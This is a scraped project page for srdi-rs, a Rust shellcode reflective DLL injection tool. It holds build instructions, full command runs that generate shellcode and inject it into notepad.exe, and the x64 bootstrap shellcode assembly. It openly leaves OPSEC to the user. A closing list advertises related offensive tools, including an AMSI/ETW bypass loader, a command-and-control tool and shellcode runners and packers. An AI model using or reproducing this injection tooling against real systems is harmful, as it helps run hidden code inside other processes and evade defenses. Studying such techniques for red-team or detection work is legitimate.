Rusty Shellcode Reflective DLL Injection (sRDI) - A small reflective loader in Rust 4KB in size for generating position-independent code (PIC) in Rust.

Overview

Shellcode Reflective DLL Injection (sRDI)

Shellcode reflective DLL injection (sRDI) is a process injection technique that allows us to convert a given DLL into a position-independent code which can then be injected using our favourite shellcode injection and execution technique.

Features

  • The size of the reflective loader is approximately 4KB.

  • Does not release the memory that was allocated by the injector, nor does it remove any existing RWX permissions set by the user injector, if applicable.

  • Does not overwrite or erase the DOS or NT Headers of the newly allocated memory after/before resolving imports or rebasing image.

  • Applies protection settings for each section allocated by the VirtualAlloc function, and subsequently executes either DllMain or SayHello functions.

What about OPSEC? Feel free to implement it yourself :)

Usage

0). Install Rust

1). Build all of the projects

cargo build --release

2). Generate the shellcode.

PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe -h
Shellcode Reflective DLL Injection (sRDI)

Usage: generate_shellcode.exe [OPTIONS] --loader <LOADER> --payload <PAYLOAD> --function <FUNCTION> --parameter <PARAMETER> --output <OUTPUT>

Options:
      --loader <LOADER>        The reflective loader DLL path (loader.dll)
      --payload <PAYLOAD>      The payload DLL path (payload.dll)
      --function <FUNCTION>    The function to execute inside payload.dll (SayHello)
      --parameter <PARAMETER>  The parameter to pass to the function inside payload.dll (https://localhost:1337/)
      --output <OUTPUT>        The output file path (shellcode.bin)
      --flags <FLAGS>          The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]
  -h, --help                   Print help
  -V, --version                Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

3). Bring your own injector (BYOI) and inject the position-independent code with your favourite injection and execution technique or use the one in the repository.

PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe -h
Simple Injector for PoC

Usage: inject.exe --process <PROCESS> --file <FILE>

Options:
      --process <PROCESS>  The target process name (notepad.exe)
      --file <FILE>        The PIC file path (shellcode.bin)
  -h, --help               Print help
  -V, --version            Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

Example

PS C:\Users\memN0ps\Documents\GitHub\srdi-rs> cargo build --release
    Finished release [optimized] target(s) in 0.04s
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs>

DLLMain

PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin

[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e49950000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleDllMain.png

SayHello

PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e499c0000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleSayHello.png

Description

The bootstrap shellcode:

call 0x00
pop rcx
mov r8, rcx

push rsi
mov rsi, rsp
and rsp, 0x0FFFFFFFFFFFFFFF0
sub rsp, 0x30

mov qword ptr [rsp + 0x20], rcx
sub qword ptr [rsp + 0x20], 0x5
mov dword ptr [rsp + 0x28], <flags>

mov r9, <parameter_length>
add r8, <parameter_offset> + <payload_length>
mov edx, <parameter_hash>
add rcx, <payload_offset>

call <loader_offset>

nop
nop

mov rsp, rsi
pop rsi
ret

nop
nop

The shellcode.bin file layout in memory:

sRDI

Credits: Nick Landers @(monoxgas)

References and Credits

You might also like...
Coffee is a loader for ELF (Executable and Linkable Format) object files written in Rust
Coffee is a loader for ELF (Executable and Linkable Format) object files written in Rust

Coffee is a loader for ELF (Executable and Linkable Format) object files written in Rust. It provides a mechanism to load and parse ELF files similar to COFFLoader, but specifically designed for ELF files used in Unix-like systems.

.NET assembly loader with patchless AMSI and ETW bypass in Rust
.NET assembly loader with patchless AMSI and ETW bypass in Rust

RustPatchlessCLRLoader The RustPatchlessCLRLoader leverages a sophisticated integration of patchless techniques for bypassing both Event Tracing for W

Not the fastest terminal colors library. Don't even ask about size.
Not the fastest terminal colors library. Don't even ask about size.

TROLOLORS Not the fastest terminal colors library. Don't even ask about size. Why? Don't even try to use it. But maybe you need to say to your boss th

httm prints the size, date and corresponding locations of available unique versions of files residing on ZFS snapshots

httm prints the size, date and corresponding locations of available unique versions of files residing on ZFS snapshots, as well as allowing their interactive viewing and restoration.

Tight Model format is a lossy 3D model format focused on reducing file size as much as posible without decreasing visual quality of the viewed model or read speeds.
Tight Model format is a lossy 3D model format focused on reducing file size as much as posible without decreasing visual quality of the viewed model or read speeds.

What is Tight Model Format The main goal of the tmf project is to provide a way to save 3D game assets compressed in such a way, that there are no not

Split text into semantic chunks, up to a desired chunk size. Supports calculating length by characters and tokens

Large language models (LLMs) can be used for many tasks, but often have a limited context size that can be smaller than documents you might want to use. To use documents of larger length, you often have to split your text into chunks to fit within this context size.

Rusty Ekko - Sleep Obfuscation in Rust

Ekko in Rust A small sleep obfuscation technique that uses the CreateTimerQueueTimer Win32 API function ported from C https://github.com/Cracked5pider

REC2 (Rusty External Command and Control) is client and server tool allowing auditor to execute command from VirusTotal and Mastodon APIs written in Rust. 🦀
REC2 (Rusty External Command and Control) is client and server tool allowing auditor to execute command from VirusTotal and Mastodon APIs written in Rust. 🦀

Information: REC2 is an old personal project (early 2023) that I didn't continue development on. It's part of a list of projects that helped me to lea

 rusty-donut - ASCII raymarching inside a terminal
rusty-donut - ASCII raymarching inside a terminal

ASCII raymarching inside a terminal

Owner
A low-level Rust programmer, interested in malware research, hypervisor development, Windows internals, and reverse engineering.
null
A simple code that will load a shellcode directly into RAM memory in a new process

「 ?? 」About RustSCLoader RustSCLoader is a simple code that has the intention of loading a shellcode directly into RAM memory in a new process that wi

null 5 May 15, 2023
Dynamic dependency injection library for rust.

DDI (dynamic dependency injection) This library provides a generic dependency injection container that can be easily integrated into any application a

EYHN 34 Feb 21, 2023
Rudi - an out-of-the-box dependency injection framework for Rust.

Rudi Rudi - an out-of-the-box dependency injection framework for Rust. use rudi::{Context, Singleton, Transient}; // Register `fn(cx) -> A { A }` as

ZihanType 15 Aug 15, 2023
Process Injection via Component Object Model (COM) IRundown::DoCallback().

COM PROCESS INJECTION for RUST Process Injection via Component Object Model (COM) IRundown::DoCallback(). 该技术由 @modexpblog 挖掘发现,在我对该技术进行深入研究过程中,将原项目 m

Lane 7 Jan 20, 2023
💫 List-rendering component utilizing FLIP position transitions for Leptos

<AnimatedFor /> component for Leptos FLIP animations for element and component groups inspired by Vue's <TransitionGroup>. This crate exports a compon

Kajetan Welc 6 Nov 13, 2023
Rust derive-based argument parsing optimized for code size

Argh Argh is an opinionated Derive-based argument parser optimized for code size Derive-based argument parsing optimized for code size and conformance

Google 1.3k Dec 28, 2022
Windows shellcode development in Rust

Write Windows Shellcode in Rust Project overview Windows shellcode project is located in shellcode/, it can build into a PE file with only .text secti

red 171 Dec 26, 2022
Shellcode Runner/Injector in Rust using NTDLL functions directly with the ntapi Library

RustSCRunner Shellcode Runner/Injector in Rust using NTDLL functions directly with the ntapi Library. Surprisingly this is my first ever Rust project

null 86 Dec 18, 2021
Shellcode packer written in Rust

RustPacker Shellcode packer written in Rust. Current state Functional as it packs a binary file, but very basic as it only support XOR encoding for no

null 27 Dec 15, 2022
My Rusty Solutions For Advent of Code

My Rusty Solutions For Advent of Code Name Part 1 Part 2 Language Day 1 Snack Calorie Counting ✅ ✅ Rust Day 2 Rock Paper Scissors ✅ ✅ Rust Day 3 Food

Abhijit Biswas 2 Dec 18, 2022